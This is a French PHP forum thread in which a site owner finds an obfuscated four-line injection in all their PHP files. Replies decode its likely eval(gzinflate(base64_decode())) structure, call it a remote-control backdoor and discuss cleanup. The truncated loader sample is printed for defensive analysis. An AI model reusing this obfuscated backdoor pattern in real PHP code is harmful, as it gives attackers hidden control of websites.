Un hack que je ne comprends pas trop...

Un hack que je ne comprends pas trop... - PHP - Programmation

Marsh Posté le 04-10-2013 à 23:14:59    

Hello tout le monde !
 
J'ai remarqué il y a quelques jours sur mes fichiers PHP sur mon serveur, la présence d'un code supplémentaire, sur tous mes fichiers PHP.
Il s'agit d'un code de 4 lignes, situé sur les 4 toutes premières lignes de chaque page, seulement pour les pages PHP.
Donc déjà, j'ai beau regardé le code injecté, je ne le comprends pas trop, il ne ressemble pas vraiment à ce que je connais (pas d'eval ou de base64 par exemple).
Je vous le mets là, où certaines parties sont coupées par [...] car beaucoup trop longues.
 

Code :
  1. <?php
  2. $md5 = "f513374df2b627375dfdbce933886a64";
  3. $ac = array("i","n",'c','_','t','f',"r","l","(",'o',"d",'s',';','g','v',"a",')',"6","b",'$','z','e',"4" );
  4. $bc8 = create_function('$'.'v',$ac[21].$ac[14].$ac[15]. [..] .$ac[16].$ac[12]);
  5. $bc8('DZa3DqxYAkQ/Z96IAVn/nwp327XzPke/2n [...] AjfDnMaR1X7DxPGDTsJ+x2r9Q5CP4QiwEBmcDw/RLwzB8/o1X+d9/v333/8Hw==');
  6. ?>


 
Ce code est présent dans toutes les pages PHP, et pourtant il a l'air complètement invisible lorsqu'on exécute les pages. (pas de présence non plus dans le code source, ni dans la BDD MySQL - pas de changements)
Je n'ai absolument aucune idée de ce que ça fait :/
 
En tout cas, j'ai eu beau chercher sur tout le serveur, je n'ai pas trouvé de fichier php qui me serait inconnu. Je suis toujours à la recherche de la présence d'un PHP Shell.
 
Suite à ça, j'aurais deux questions :
 
- Quelqu'un a-t-il déjà vu ce genre de code ? Comment il fonctionnerait ?
 
- Le contenu de la variable $md5 et bc8() varie pour chaque page, ce qui m'empêche de les supprimer automatiquement via Search & Replace. Existe-t-il un moyen de détecter une partie du code dans les 4 premières lignes d'un fichier puis de supprimer automatiquement les 4 premières lignes ?
 
Merci d'avance  :jap:


---------------
Le grand bleu avec une chaussette rouge.
Reply

Marsh Posté le 04-10-2013 à 23:14:59   

Reply

Marsh Posté le 05-10-2013 à 00:21:09    

Le nom de la variable de la ligne 2 fait penser au hashage MD5. Voir http://fr2.php.net/manual/en/function.md5.php
 
Pour la ligne 4, voir la documentation de create_function() : http://www.php.net/manual/en/funct [...] nction.php
La ligne 4 n'est montrée que partiellement.
Je devine qu'après
 
 .$ac[15]
 
on trouve
 
.$ac[7].$ac[8] et d'autres choses
 
Mais c'est vrai que même en connaissant les lignes complètes, ça ne doit pas être facile à comprendre.
 
Le but du code est peut-être d'inclure un bandeau publicitaire, de faire des statistiques, ou de pirater.
 
Edit :
Dans la chaine de la ligne 4, il y a aussi probablement  
 
 .$ac[18].$ac[15].$ac[11].$ac[21].$ac[17].$ac[22]
 
suivi probablement par
 
 .$ac[3].$ac[10].$ac[21].$ac[2].$ac[9].$ac[10].$ac[21].$ac[8]
 
Edit 2 :
Et après, on doit trouver sans doute aussi
 
 .$ac[19].$ac[14]


Message édité par olivthill le 05-10-2013 à 00:39:20
Reply

Marsh Posté le 05-10-2013 à 10:21:50    

:hello: !
 
Pour voir ce que fais vraiment ce code chiffré, tu peux essayer de le rendre "visible" [:cupra] : tu peux faire un

Code :
  1. create_function('$'.'v',$ac[21].$ac[14].$ac[15]. [..] .$ac[16].$ac[12]);


Si c'est comme j'ai trouvé sur Google en rentrant comme chaîne de recherche "$bc8 = create_function", tu trouveras quelque chose du genre :

Code :
  1. $bc8 = create_function('$v',eval(gzinflate(base64_decode($v))));


Après, à toi de passer successivement les différents niveaux en remplaçant "eval" par "print" pour voir à la fin ce que fait le code :/
 
:jap:


---------------
And in the end, the love you take is equal to the love you make
Reply

Marsh Posté le 05-10-2013 à 20:48:26    

Hello tout le monde !
 
 
Tout d'abord, merci pour vos réponses ^^
Du coup, j'ai passé en revue chaque fichier de chaque dossier, j'ai mis à jour /supprimé tous les anciens scripts de projets hors-ligne ou dépassés.
J'ai aussi passé en revue tous mes principaux scripts maison avec d'autres, pour contrôler les possibles injections SQL ou de failles d'upload de fichiers.
Enfin, il me fallait nettoyer tous les fichiers "sales". Mais comme le code incriminé déclare dans la variable $md5 un code md5 qui change pour chaque page, ainsi qu'un create_function qui variait pour chaque page également, je ne pouvais pas faire un Search & Replace tout bête.
 
Je me suis donc créé un script qui va chercher tous les fichiers ainsi que tous les répertoires, la présence de "md5 =" puis de "bc8 = create_function" ou "wp_salt = create_function" (cela variait de l'un à l'autre), et ce dans les 5 premières lignes du fichier php. Si toutes les conditions sont valides, on est bien en présence du code hack et non d'un code par défaut (la probabilité de se tromper est quasi nulle ainsi), et donc le script supprime les 5 premières lignes du fichier (incluant <?php et ?> que le code incluait aussi).
Je l'ai mis sur Pastebin, pour aider dans le futur ceux qui voudront nettoyer un tel hack via PHP :
 
http://pastebin.com/ZycbERLs
 
J'ai aussi amélioré la sécurité de mes fichiers .htaccess .
 
Merci en tout cas de votre support et de votre éclairage à mes questions  :jap:


---------------
Le grand bleu avec une chaussette rouge.
Reply

Marsh Posté le 06-10-2013 à 14:38:54    

Salut, j'ai déjà vu ce genre de fichier.
Il s'agit de petits fichiers php qui permettent à un script distant (en python il me semble) de prendre la main sur ton serveur par le biai d'une interface web.
Du moment que tu trouves ce genre de fichier sur ton serveur, l'intégrité de ton serveur est compromise! Le hacker à déjà pu ouvrir d'autres backdoor sur le serveur (et pas uniquement dans les répertoires de tes sites). Tu es bon pour réinstaller ton serveur.
Et pour finir, ton site contient forcément une faille de secu qui à permit au hacker d'uploader un fichier.
 
Bonne chance!

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed